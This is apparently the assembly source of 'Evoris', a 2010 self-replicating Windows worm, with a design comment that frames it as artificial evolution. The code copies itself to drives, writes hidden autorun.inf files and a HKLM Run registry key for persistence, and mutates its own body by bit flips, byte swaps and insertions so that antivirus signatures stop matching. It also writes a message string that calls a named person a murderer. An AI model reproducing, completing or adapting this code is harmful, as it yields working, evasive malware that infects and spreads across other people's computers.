;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Evoris ;; by SPTH ;; November 2010 ;; ;; This worm takes use of an evolvable meta-language concept, which has ;; been presented in an article "Taking the redpill: Artificial Evolution ;; in native x86 systems". ;; ;; To achieve evolution it is necessary to have replication, mutation ;; and selection. ;; ;; ;; ;; Replication: ;; It makes a registry-entry to start at every Windows Startup. ;; All ~25sec it searchs for all removeable, network, fixed drives and ;; copies itself to them. For removable and network drives, it creates a ;; hidden autorun.inf: ;; - - - ;; [Autorun] ;; ShellExecute=filename.exe ;; UseAutoplay=1 ; with this additional line, it works ;; - - - ;; ;; ;; ;; Mutation: ;; The program can use three types of mutations: ;; Bitflip (point mutation): it changes a single bit of the code (87.5%) ;; XCHG (translocation): it exchanges the position of 8 bytes (8 commands) ;; ABCD EFGH -> EFGH ABCD (25.0%) ;; Insertion: it can move some part of the code, and fill the rest with NOPs ;; (20%) ;; ;; ;; ;; Selection: ;; The natural selection for malware will come from antivirus scanners. ;; As soon as the signature of a certain representation of the worm is ;; in the database of AV programs, it can not spread alot anymore. Just those ;; mutations can spread, which are so different to the original in the ;; database, that it is not recognized anymore. This is a very natural ;; selection process. ;; There may be other selective advantages such as new functionalities - for ;; a more detailed see the article mentioned above. ;; ;; ;; ;; Metalanguage: ;; It has been shown in different approaches of artificial simulations, ;; that evolution can be achieved if the artificial chemistry fulfills ;; several conditions: A small instruction set, separation of arguments ;; and operations, and non-direct addressing. ;; In an x86 environment, this can be done by creating a special meta- ;; language. The meta-language in this approach is very near connected ;; to the natural biosynthese: ;; ;; Artificial -- Natural ;; Bit -- Nucleobase ;; Byte -- Codon ;; Base command -- Amino acid ;; Function -- Protein ;; Translator -- tRNA ;; ;; To achieve evolution, it is also required that there are enough ;; neutral mutations. In an short analyse "Mutational Robustness in x86 ;; systems", it has been shown that the most robust concept is meta-langauge ;; with a redundant alphabeth". ;; ;; ;; ;; ;; Alphabeth: ;; The alphabeth contains the base-commands of the language: ;; ;; nopsA, nopsB, nopsD, nopdA, nopdB, nopdD ;; saveWrtOff, saveJmpOff ;; writeByte, writeDWord, save, addsaved, subsaved ;; getDO, getdata, getEIP ;; push, pop, pushall, popall ;; zer0, mul, div, shl, shr, and, xor, add0001, add0004, add0010, add0040, ;; add0100, add0400, add1000, add4000, sub0001, nopREAL ;; JnzUp, JnzDown, JzDown, call ;; CallAPILoadLibrary, CallAPISleep ;; ;; These are the 43 commands of the metalanguage. Each command is represented ;; by a 8bit value. As there are 256 (2^8) possibilities to write a 8bit ;; code there is a big source for redundancy - just as in nature, where 20 ;; amino acids are coded by 64 (4^3) possibilities to write the nucleobases. ;; ;; ;; ;; ;; Evolvable API calls: ;; kernel32.dll and advapi32.dll are loaded thru LoadLibraryA. The export ;; table is parsed, and a 12bit hash of the exported API is created. If that ;; hash is the same as a hardcoded 12bit hash in the file, the API address is ;; saved. ;; The idea is: there are ~1000 exported APIs in kernel32.dll, there are ;; ~4000 possibilities how to write a 12bit code. That means, by a single ;; bit-flip of the API hash, there is a possibility of ~25% that a new ;; valid API will be called. ;; ;; CallAPISleep: This API could be found by the algorithm with WinXP, ;; but in WinVista, there are two new APIs (SleepConditionVariableCS, ;; SleepConditionVariableSRW) between Sleep and SleepEx. As the Algorithm ;; uses the first 10bytes of the API name, for short APIs it also uses the ;; first few of the next API-name. This is no problem usually, but due ;; to bad luck, it is for Sleep. I could not use SleepEx eighter, because ;; of the new Function SortCloseHandle, which gives a different hash. ;; The simplest possibility was to use a hardcoded function call. ;; ;; ;; ;; Tested at WinXP SP3, but it should also work with WinVista+. ;; ;; ;; Thanks to: hh86 && qkumba ;; Greets goes to herm1t, roy g biv, all ex-rRlf members & ;; & all serious researchers ;; ;; ;; Evoris comes from a unification of Evolution and Virus. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include 'E:\Programme\FASM\INCLUDE\win32ax.inc' .data include 'data_n_equs.inc' .code start: invoke VirtualAlloc, \ 0x0, \ 0x10000, \ ; 64 KB RAM 0x1000, \ PAGE_EXECUTE_READWRITE mov [Place4Life], eax mov edx, 0x0 ; EDX will be used as the counter of this loop WriteMoreToMemory: mov ebx, 0x0 ; EBX=0; mov bl, byte[edx+StAmino] ; BL=NUMBER OF AMINO ACID shl ebx, 3 ; EBX*=8; mov esi, StartAlphabeth ; ESI ... Alphabeth offset add esi, ebx ; ESI+=EBX; ESI ... offset of the current amino acid mov ebx, edx ; EBX ... current number of amino acid shl ebx, 3 ; EBX ... lenght of amino acids before this one mov edi, [Place4Life] ; EDI ... Memory address add edi, ebx ; Offset of current memory for 8 byte code mov ecx, 8 ; ECX ... 8 rep movsb ; Write ECX bytes from ESI to EDI ; Write 8 bytes from Alphabeth to Memory inc edx ; Increase EDX cmp edx, (EndAmino-StAmino) jne WriteMoreToMemory call [Place4Life] ; Lets start!!! ; ################################################################## ; Alphabeth StartAlphabeth: include 'alphabeth.inc' EndAlphabeth: ; ################################################################## ; ################################################################## ; Macros macro addnumber arg { x=arg if x>=0x10000 db _zer0 db _add0010 db _save db _zer0 while x>=0x10000 if x>=0x40000000 db _add4000 x=x-0x40000000 else if x>=0x10000000 db _add1000 x=x-0x10000000 else if x>=0x04000000 db _add0400 x=x-0x04000000 else if x>=0x01000000 db _add0100 x=x-0x01000000 else if x>=0x00400000 db _add0040 x=x-0x00400000 else if x>=0x00100000 db _add0010 x=x-0x00100000 else if x>=0x00040000 db _add0004 x=x-0x00040000 else if x>=0x00010000 db _add0001 x=x-0x00010000 end if end while db _shl end if while x<>0 if x>=0x4000 db _add4000 x=x-0x4000 else if x>=0x1000 db _add1000 x=x-0x1000 else if x>=0x0400 db _add0400 x=x-0x0400 else if x>=0x0100 db _add0100 x=x-0x0100 else if x>=0x0040 db _add0040 x=x-0x0040 else if x>=0x0010 db _add0010 x=x-0x0010 else if x>=0x0004 db _add0004 x=x-0x0004 else if x>=0x0001 db _add0001 x=x-0x0001 end if end while } macro GetAddress arg { db _getDO addnumber (arg-DataOffset) } macro CallAPI arg { db _getDO addnumber (arg-DataOffset) db _call } macro CalcNewRandNumberAndSaveIt { GetAddress RandomNumber db _saveWrtOff db _getdata db _nopdA ; eax=[RandomNumber] db _zer0 addnumber 1103515245 db _mul ; eax*=1103515245 % 2^32 db _zer0 addnumber 12345 db _save db _nopsA db _addsaved ; eax+=12345 % 2^32 db _writeDWord ; mov [RandomNumber], ebx } ; ################################################################## ; ################################################################## ; Amino Acids StAmino: ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### Here the genom gets the Addresses of the Windows APIs. ; ##### It loads via LoadLibrary the kernel32.dll and advapi32.dll, ; ##### searchs in the Export Table for the adequade API (creating ; ##### an internal 12 bit checksum, and compares it with some hardcoded ; ##### 12bit values). This procedere should be evolvable. ; ##### ; ##### Optimum would have been to call the Windows APIs by its ; ##### Ordinal Numbers, but they change at every release of Windows. ; ##### ; ##### At Linux, evolvable API calls are already presented, as you ; ##### call int 0x80 with a specific number in eax which represents ; ##### the API number. ; ##### ; ##### StAminoAcids1: times 1234 db _nopREAL GetAddress stDLLkernel32 ; write "kernel32.dll" and "advapi32.dll" db _saveWrtOff ; to the data-section. This will be used db _nopdA ; by LoadLibraryA as argument later addnumber 'kern' db _writeDWord db _nopsA db _add0004 db _saveWrtOff db _nopdA addnumber 'el32' db _writeDWord db _nopsA db _add0004 db _saveWrtOff db _nopdA addnumber '.dll' db _writeDWord GetAddress stDLLadvapi32 db _saveWrtOff db _nopdA addnumber 'adva' db _writeDWord db _nopsA db _add0004 db _saveWrtOff db _nopdA addnumber 'pi32' db _writeDWord db _nopsA db _add0004 db _saveWrtOff db _nopdA addnumber '.dll' db _writeDWord GetAddress stDLLkernel32 db _push db _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll" GetAddress hDLLlibrary32 db _saveWrtOff db _nopsA db _writeDWord ; mov dword[hDLLkernel32], eax db _save ; Save kernel32.dll position addnumber 0x3C db _getdata ; mov RegB, dword[hDLLkernel32+0x3C] ; = Pointer to PE Header of kernel32.dll db _addsaved ; relative -> absolut addnumber 0x78 db _getdata ; Export Tables db _addsaved ; relative -> absolut addnumber 0x1C ; Addresse Table db _nopdA ; temporarily save Offset of Addresse Table in RegA GetAddress hAddressTable db _saveWrtOff ; WriteOffset=hAddressTable db _nopsA ; restore RegA=Addresse Tables db _getdata ; Pointer To Addresse Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table) GetAddress hNamePointerTable db _saveWrtOff ; WriteOffset=hNamePointerTable db _nopsA ; BC1=Addresse Table addnumber 0x4 ; BC1=Name Pointer Table db _nopdA db _getdata ; Pointer To Name Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table) GetAddress hOrdinalTable db _saveWrtOff ; WriteOffset=hOrdinalTable db _nopsA addnumber 4 ; BC=Pointer to Ordinal Table db _getdata ; Ordinal Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table) GetAddress APINumber db _saveWrtOff db _zer0 addnumber APINumberKernel db _writeDWord ; Save number of kernel32.dll APIs GetAddress hAddressePointer db _saveWrtOff GetAddress APIAddresses db _writeDWord ; Saves the AddressePointer GetAddress hMagicNumberPointer db _saveWrtOff GetAddress APIMagicNumbers db _writeDWord ; Saves the MagicNumber Pointer db _zer0 addnumber 43 db _push ; FindAllAPIs db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI - for further API searching in different DLLs db _pushall db _zer0 db _nopdB ; RegB = Counter for first instance loop = 0 GetAddress hAddressePointer db _getdata db _nopdA ; RegA = Pointer to Buffer for API Addresse GetAddress hMagicNumberPointer db _getdata db _nopdD ; RegD = Pointer to Magic Numbers for APIs ; FindAllAPIsNext db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI db _pushall ; RegA=free | used for pointer within the Name Pointer Table ; RegB=free | used as temporary buffer ; RegD=MagicNumber for API ; Stack: | counter (number of APIs checked in kernel32.dll) GetAddress hNamePointerTable db _getdata db _nopdA ; Pointer to Name Pointer Table (points to first API) db _zer0 db _sub0001 db _push ; counter ; SearchNextAPI: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI db _pop addnumber 0x1 ; counter++ db _push GetAddress hDLLlibrary32 db _getdata db _save ; kernel32.dll position db _nopsA ; Pointer to NamePointerTable db _getdata ; Points to API name db _addsaved ; relative -> absolut db _nopdB ; save Pointer to API name ; BC1=dword[APINAME] db _getdata ; BC1=dword[APINAME] db _save ; BC2=dword[APINAME] db _nopsA addnumber 4 ; Points to next API name db _nopdA ; Has just effects in next loop ; BC1=dword[APINAME]+dword[APINAME+1] db _nopsB addnumber 1 db _getdata ; BC1=dword[APINAME+1] db _addsaved ; BC1+=dword[APINAME]=dword[APINAME]+dword[APINAME+1] db _save ; BC1=(dword[APINAME]+dword[APINAME+1]) XOR dword[APINAME+2] db _nopsB addnumber 2 db _getdata ; BC1=dword[APINAME+2] db _xor ; BC1 XOR (dword[APINAME]+dword[APINAME+1]) db _push ; save at Stack, as sub is not invertable ; (sub a-b) != (sub b-a) ; BC1-=dword[APINAME+3] db _nopsB addnumber 3 db _getdata db _save ; BC2=dword[APINAME+3] db _pop ; restore B1 db _subsaved ; B1-=dword[APINAME+3] db _save ; BC1=BC1 XOR dword[APINAME+6] db _nopsB addnumber 6 db _getdata ; dword[APINAME+6] db _xor ; B1=dword[APINAME+6] XOR B1 db _push ; save at Stack again (position dependent, see above) ; BC1-=dword[APINAME+7] db _nopsB addnumber 7 db _getdata db _save ; BC2=dword[APINAME+7] db _pop ; restore B1 db _subsaved ; B1-=dword[APINAME+7] db _save ; BC1+=dword[APINAME+5] db _nopsB addnumber 5 db _getdata ; BC1=dword[APINAME+5] db _addsaved ; BC1+=dword[APINAME+5] db _save ; BC1=BC1 XOR dword[APINAME+9] db _nopsB addnumber 9 db _getdata ; dword[APINAME+9] db _xor ; B1=dword[APINAME+9] XOR B1 db _push ; save at Stack again (position dependent, see above) ; BC1-=dword[APINAME+10] db _nopsB addnumber 10 db _getdata db _save ; BC2=dword[APINAME+10] db _pop ; restore B1 db _subsaved ; B1-=dword[APINAME+10] db _nopdB ; save MagicNumber of this API db _zer0 addnumber 0x0FFF db _save ; save 0xFFF in BC2 db _nopsB db _and ; BC1=dword[MagicNumberOfThisAPI] && 0x0FFF db _nopdB db _nopsD ; Get Pointer to API MagicWord db _getdata db _and ; BC1=dword[MagicNumberSearchAPI] && 0x0FFF db _save ; save db _nopsB ; Get MagicNumber of current API again db _xor ; (dword[MagicNumberSearchAPI] && 0x0FFF) XOR dword[MagicNumberOfThisAPI] && 0x0FFF ; If zero, assume that we found API db _JnzUp db _zer0 addnumber 1 db _save ; BC2=1 db _pop ; Get Counter from Stack db _shl ; BC1=counter*2 (because Ordinal Table has just 2byte Entries) ; (=no DLLs with more than 65535 functions?!) db _save GetAddress hOrdinalTable db _getdata db _addsaved ; Points to ordinal number of the API db _push db _zer0 addnumber 0xFFFF db _save db _pop ; BC2=0xFFFF db _getdata ; BC1=Ordinal Number of API ; Ordinal Number is a word, so we have to set the high word to zero db _and ; BC1=dword[Ordinal] && 0xFFFF db _push db _zer0 addnumber 2 db _save db _pop db _shl ; BC1=Ordinal*4, as Addresse to Function is a dword db _save GetAddress hAddressTable db _getdata db _addsaved ; BC1 points to Addresse of API Function db _getdata ; BC1=Addresse of API Function db _save GetAddress hDLLlibrary32 db _getdata db _addsaved ; relative -> absolut ; BC1 contains the Addresse of the API in (kernel32) memory db _nopdB ; save the Addresse in RegB GetAddress hAddressePointer db _getdata ; Pointer to the buffer where we save the API addresse db _saveWrtOff ; We will write to this Addresse db _nopsB ; restore API Addresse db _writeDWord ; Save the API Function Addresse in the Function Buffer!!! db _popall GetAddress hAddressePointer db _saveWrtOff ; The buffer where we save the pointer db _nopsA addnumber 0x4 ; Next Buffer for API Adresse db _writeDWord ; save pointer db _nopdA ; save different (prevents a more messy code) db _nopsD ; Next Magic Number for API addnumber 0x4 db _nopdD db _nopsB addnumber 0x1 ; Increase API-Counter db _nopdB db _save GetAddress APINumber db _getdata db _subsaved ; cmp Counter, APINumber db _JnzUp ; Jnz FindAllAPIsNext ; end FindAllAPIsNext db _popall ; FoundAPI ; end FindAllAPIs in kernel32.dll GetAddress stDLLadvapi32 db _push db _CallAPILoadLibrary ; invoke LoadLibrary, "kernel32.dll" GetAddress hDLLlibrary32 db _saveWrtOff db _nopsA db _writeDWord ; mov dword[hDLLkernel32], eax db _save ; Save kernel32.dll position addnumber 0x3C db _getdata ; mov RegB, dword[hDLLkernel32+0x3C] ; = Pointer to PE Header of kernel32.dll db _addsaved ; relative -> absolut addnumber 0x78 db _getdata ; Export Tables db _addsaved ; relative -> absolut addnumber 0x1C ; Addresse Table db _nopdA ; temporarily save Offset of Addresse Table in RegA GetAddress hAddressTable db _saveWrtOff ; WriteOffset=hAddressTable db _nopsA ; restore RegA=Addresse Tables db _getdata ; Pointer To Addresse Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hAddressTable], (Pointer to Addresse Table) GetAddress hNamePointerTable db _saveWrtOff ; WriteOffset=hNamePointerTable db _nopsA ; BC1=Addresse Table addnumber 0x4 ; BC1=Name Pointer Table db _nopdA db _getdata ; Pointer To Name Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table) GetAddress hOrdinalTable db _saveWrtOff ; WriteOffset=hOrdinalTable db _nopsA addnumber 4 ; BC=Pointer to Ordinal Table db _getdata ; Ordinal Table db _addsaved ; relative -> absolut db _writeDWord ; mov dword[hOrdinalTable], (Pointer to Ordinal Table) GetAddress APINumber db _saveWrtOff db _zer0 addnumber APINumberAdvapi db _writeDWord ; Save number of kernel32.dll APIs GetAddress hAddressePointer db _saveWrtOff GetAddress APIAddressesReg db _writeDWord ; Saves the AddressePointer GetAddress hMagicNumberPointer db _saveWrtOff GetAddress APIMagicNumbersReg db _writeDWord ; Saves the MagicNumber Pointer db _zer0 addnumber 42 db _save db _pop db _sub0001 db _push db _add0001 db _xor db _JnzUp db _pop ; Remove trash from stack ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### First child will have mutations within the Amino Acids ; ##### (no mutations in the alphabeth or the filestructure) ; ##### db _zer0 addnumber 0x8007 db _push CallAPI hSetErrorMode CallAPI hGetTickCount GetAddress RandomNumber db _saveWrtOff db _nopsA db _writeDWord ; mov dword[RandomNumber], RegA db _zer0 db _nopdB ; mov RegB, 0 ; RndNameLoop: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov esi, epi GetAddress RandomNumber db _getdata db _nopdA ; mov eax, [RandomNumber] db _zer0 db _nopdD ; mov edx, 0 db _zer0 addnumber 26 db _div ; div ebx db _nopsD addnumber 97 db _nopdD ; add edx, 97 db _nopsB ; ebx=ebp=count db _save ; ebp=ebx=ecx=count GetAddress RandomFileName ; ebx=rfn, ebp=ecx=count db _addsaved ; ebx=rfn+count, ebp=ecx=count db _saveWrtOff ; edi=rfn+count, ebx=rfn+count, ebp=ecx=count db _nopsD db _writeByte ; mov byte[ecx+RandomFileName], dl CalcNewRandNumberAndSaveIt db _nopsB db _add0001 db _nopdB db _save ; inc counter db _zer0 addnumber 8 db _subsaved ; cmp counter, 8 db _JnzUp ; jnz esi ; loop RndNameLoop GetAddress rndext db _saveWrtOff db _zer0 addnumber ".exe" db _writeDWord ; create extention CallAPI hGetCommandLineA db _zer0 addnumber 0xFF db _save db _nopsA db _getdata db _and db _nopdB ; RegB=1st byte of filename db _zer0 addnumber 34 ; " db _nopdD ; RegD=34 db _nopsB db _save db _nopsD db _subsaved db _JnzDown db _nopsA db _add0001 db _nopdA db _nopREAL db _nopsA db _push ; Save RegA at stack ; FindEndOfString: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov esi, epi db _nopsA db _add0001 db _nopdA db _zer0 addnumber 0xFF db _save db _nopsA db _getdata db _and db _nopdD ; RegD=(dword[Name+count]&& 0xFF) db _zer0 addnumber 34 ; " db _save db _nopsB ; 1st Byte of filename db _subsaved db _JnzDown db _nopsD db _xor db _JnzUp db _nopREAL ; EndFindEndOfString: db _zer0 addnumber 34 ; " db _nopsB ; 1st Byte of filename db _subsaved db _JnzDown db _nopsA db _saveWrtOff db _zer0 db _writeByte db _pop db _nopdA GetAddress Driveletter3-1 db _saveWrtOff db _zer0 addnumber 0x5C3A4300 ; 0x0, "C:\" db _writeDWord GetAddress virusname db _saveWrtOff db _zer0 addnumber "evor" db _writeDWord GetAddress virusname+4 db _saveWrtOff db _zer0 addnumber "isss" db _writeDWord ; Construct virusfilename GetAddress virext db _saveWrtOff db _zer0 addnumber ".exe" db _writeDWord ; create extention db _nopsA db _push ; Save pointer to filename buffer db _zer0 db _push GetAddress Driveletter3 db _push db _nopsA db _push CallAPI hCopyFileA ; Copy myself to C:\VIRUSNAME!!! (will not be mutated) db _pop db _nopdA db _zer0 db _push GetAddress RandomFileName db _push db _nopsA db _push CallAPI hCopyFileA ; Make a copy of myself with random name ; this copy will be mutated and spreaded db _zer0 db _push db _push addnumber 3 db _push db _zer0 db _push db _add0001 db _push db _sub0001 addnumber 0xC0000000 db _push GetAddress RandomFileName db _push CallAPI hCreateFileA GetAddress FileHandle db _saveWrtOff db _nopsA db _writeDWord ; mov dword[FileHandle], RegA db _save GetAddress FileSize db _push db _zer0 db _addsaved db _push CallAPI hGetFileSize GetAddress FileSize db _saveWrtOff db _nopsA db _writeDWord ; mov dword[FileSize], RegA db _zer0 db _push db _addsaved db _push db _zer0 db _push addnumber 4 db _push db _zer0 db _push GetAddress FileHandle db _getdata db _push CallAPI hCreateFileMappingA GetAddress MapHandle db _saveWrtOff db _nopsA db _writeDWord ; mov dword[MapHandle], RegA db _save GetAddress FileSize db _getdata db _push ; [FileSize] db _zer0 db _push ; 0 db _push ; 0 addnumber 2 db _push db _zer0 db _addsaved db _push ; MapHandle CallAPI hMapViewOfFile GetAddress MapPointer db _saveWrtOff db _nopsA db _writeDWord ; mov dword[MapPointer], RegA db _nopsA db _nopdB ; mov RegB, RegA+AminoStartInMap ; ############################################################################ ; ############################################################################ ; ##### ; ##### Here the mutation happens: Bitmutation, exchange of codons, ... ; ##### ;ANextByteInChain: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI db _nopsB db _push ; push counter ; ############################################################################ ; ##### Start Bit-Flip Mutation (Point-Mutation) db _zer0 addnumber 12 db _save GetAddress RandomNumber db _getdata db _shr db _push db _zer0 addnumber 7 db _save db _pop db _and ; BC1=[RandomNumber shr 12] && 0111b db _save db _zer0 addnumber 1 db _shl ; shl BC1, BC2 db _save db _pop db _push db _saveWrtOff ; BA1=[MapPointer]+counter db _getdata ; mov BC1, dword[BC1] db _xor ; xor BC1, BC2 db _nopdB ; save changed byte db _zer0 addnumber 7 db _save GetAddress RandomNumber db _getdata db _nopdA db _zer0 db _nopdD addnumber VarThreshold1 db _div db _nopsD db _subsaved db _JnzDown db _nopsB ; restore db _writeByte ; save mutation! db _nopREAL db _nopREAL ; ##### Finished Bit-Flip Mutation (Point-Mutation) ; ############################################################################ CalcNewRandNumberAndSaveIt ; ############################################################################ ; ##### Start codons exchange GetAddress xchgBuffer db _saveWrtOff db _pop db _push ; get counter db _getdata db _writeDWord ; xchgBuffer=dword[counter] db _pop db _push ; get counter db _saveWrtOff ; save destination for potential writing addnumber 4 db _getdata db _nopdB ; RegB=dword[counter+4] db _zer0 addnumber 7 db _save GetAddress RandomNumber db _getdata db _nopdA db _zer0 db _nopdD addnumber xchgThreshold1 db _div db _nopsD db _subsaved db _JnzDown ; if not zero, dont exchange codons db _nopsB ; restore db _writeDWord ; save mutation! db _nopREAL db _nopREAL GetAddress xchgBuffer db _getdata db _nopdB db _pop db _push ; get counter addnumber 4 db _saveWrtOff db _zer0 addnumber 7 db _save GetAddress RandomNumber db _getdata db _nopdA db _zer0 db _nopdD addnumber xchgThreshold1 db _div db _nopsD db _subsaved db _JnzDown ; if not zero, dont exchange codons db _nopsB ; restore db _writeDWord ; save mutation! db _nopREAL db _nopREAL ; ##### Finished codons exchange ; ############################################################################ CalcNewRandNumberAndSaveIt db _pop db _add0001 db _nopdB ; inc counter GetAddress MapPointer db _getdata db _save db _zer0 GetAddress FileSize db _getdata db _addsaved db _save ; mov save, [MapPointer]+GenomEndInMap db _nopsB db _subsaved ; cmp counter, [MapPointer]+GenomEndInMap db _JnzUp ; jnz esi ; loop ANextByteInChain ; ############################################################################ ; ##### Start of Insertion ; InsertA ... End Position of moving Block ; A = rand() % Filesize ; Insertx ... Size of moving Block (A-x=Start of moving Block) ; x = A + ( rand() % (Filesize-A) ) ; y ... Bytes to be inserted (A-x+y=New start of moved Block) ; y = rand() mod 32 GetAddress RandomNumber db _getdata db _nopdA ; mov RegA, [RandomNumber] db _zer0 db _nopdD ; mov RegD, 0 GetAddress FileSize db _getdata db _div ; div BC1 GetAddress InsertA db _saveWrtOff db _nopsD db _push ; Save relative InsertA at Stack db _save GetAddress MapPointer db _getdata db _addsaved ; relative -> absolut db _writeDWord ; Save Position CalcNewRandNumberAndSaveIt ; New random number for getting Insertx db _nopdA ; RegA=random number db _zer0 db _nopdD ; RegD=0 GetAddress Insertx db _saveWrtOff db _pop db _save ; BC2=relative InsertA GetAddress FileSize db _getdata db _subsaved ; BC1=(FileSize-A) db _div ; rand()/(FileSize-A) db _nopsD ; BC1=rand() % (FileSize-A) db _add0001 ; (for loop) db _writeDWord ; Save to Insertx CalcNewRandNumberAndSaveIt ; New random number for getting Insertx db _nopdA db _zer0 db _nopdD ; RegD=0 addnumber 32 db _div GetAddress Inserty db _saveWrtOff db _nopsD ; BC1=rand() % 32 db _add0001 db _writeDWord ; y to Inserty db _save ; save y GetAddress InsertA db _getdata db _nopdA ; RegA=A db _addsaved ; BC1=A+y db _nopdB ; RegB=A+y CalcNewRandNumberAndSaveIt db _zer0 addnumber 3 db _save GetAddress RandomNumber db _getdata db _nopdA db _zer0 db _nopdD addnumber InsertThreshold1 db _div db _nopsD db _subsaved db _push ; Save Result ; InsertA = A ; Insertx = x ; InsertWrt = A+y ; RegB=A+y ;Insert next byte: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI GetAddress InsertA db _saveWrtOff db _getdata db _sub0001 ; A-- db _writeDWord db _getdata ; BC1=dword[A] db _nopdA db _nopsB ; BC1=A+y db _saveWrtOff ; Write Offset=A+y db _sub0001 ; BC1-- db _nopdB ; save WriteOffset again db _pop ; If BC1=0: mutate db _push db _add0001 db _sub0001 ; Get the zer0 flag db _JnzDown db _nopsA db _nopREAL db _nopREAL db _writeByte ; byte[A+y]=byte[A] GetAddress Insertx db _saveWrtOff db _getdata db _sub0001 db _writeDWord ; Save new counter db _JnzUp ;End insert next byte ;Fill with NOPs: db _getEIP db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _sub0001 db _saveJmpOff ; mov BA2, EPI db _nopsB ; BC1=A-x+y db _saveWrtOff ; Write Offset=A-x+y db _sub0001 ; BC1-- db _nopdB ; save WriteOffset again db _zer0 addnumber _nopREAL db _nopdA db _pop db _push db _add0001 db _sub0001 ; Get the zer0 flag db _JnzDown db _nopsA db _nopREAL db _nopREAL db _writeByte ; byte[A-x+y]=nopREAL GetAddress Inserty db _saveWrtOff db _getdata db _sub0001 db _writeDWord ; Save new counter db _JnzUp ;End Fill with NOPs db _pop ; Trash ; ##### End of Insertion ; ############################################################################ GetAddress stSubKey db _saveWrtOff db _nopdA addnumber 'Kady' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'rov ' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'is a' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber ' mur' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'dere' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'r!!!' db _writeDWord GetAddress stSubKey db _nopdB CalcNewRandNumberAndSaveIt db _nopdA db _zer0 addnumber 7 db _save db _nopsA db _and db _JnzDown db _push ; 0x0 db _nopsB db _push ; stSubKey db _push ; stSubKey db _nopsA db _and db _JnzDown db _zer0 db _push db _MsgC ; Thats it! db _nopREAL ; ##### ; ##### ; ############################################################################ ; ############################################################################ GetAddress MapPointer db _getdata db _push CallAPI hUnmapViewOfFile ; call UnmapViewOfFile, dword[MapPointer] GetAddress MapHandle db _getdata db _push CallAPI hCloseHandle ; call CloseHandle, dword[MapHandle] GetAddress FileHandle db _getdata db _push CallAPI hCloseHandle ; call CloseHandle, dword[FileHandle] db _zer0 addnumber 15 db _save GetAddress RandomNumber db _getdata db _and db _push db _CallAPISleep ; call Sleep, (dword[RandomNumber] & 1111b) GetAddress AutoStartContentStart db _saveWrtOff db _nopdA ; ############################################################################ ; ##### Create Registry Key GetAddress stSubKey ; Create the key in the data section db _nopdA db _saveWrtOff addnumber 'SOFT' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'WARE' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber '\Mic' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'roso' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'ft\W' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'indo' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'ws\C' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'urre' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'ntVe' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'rsio' db _writeDWord db _nopsA db _add0004 db _nopdA db _saveWrtOff addnumber 'n\Ru' db _writeDWord db _nopsA db _add0004 db _saveWrtOff db _zer0 addnumber 'n' db _writeDWord GetAddress hRegKey db _push GetAddress stSubKey db _push db _zer0 addnumber HKEY_LOCAL_MACHINE db _push CallAPI hRegCreateKey db _zer0 addnumber 15 db _push ; 15 GetAddress Driveletter3 db _push ; C:\evorisss.exe db _zer0 addnumber REG_SZ db _push ; REG_SZ db _zer0 db _push ; 0x0 db _push ; 0x0 GetAddress hRegKey db _getdata db _push ; dword[hRegKey] CallAPI hRegSetValueEx ; ##### End Create Registry Key ; ############################################################################ ; ############################################################################ ; ##### Create Autostart file GetAddress AutoStartContentStart db _nopdA db _saveWrtOff addnumber '[Aut' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'orun' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 0x530A0D5D ; ']', 0x0D, 0x0A, 'S' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'hell' ; huh - nice ;) db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'Exec' db _writeDWord db _nopsA addnumber 4 db _nopdA db _saveWrtOff addnumber 'ute=' db _writeDWord db _nopsA addnumber 4 db _nopdA db 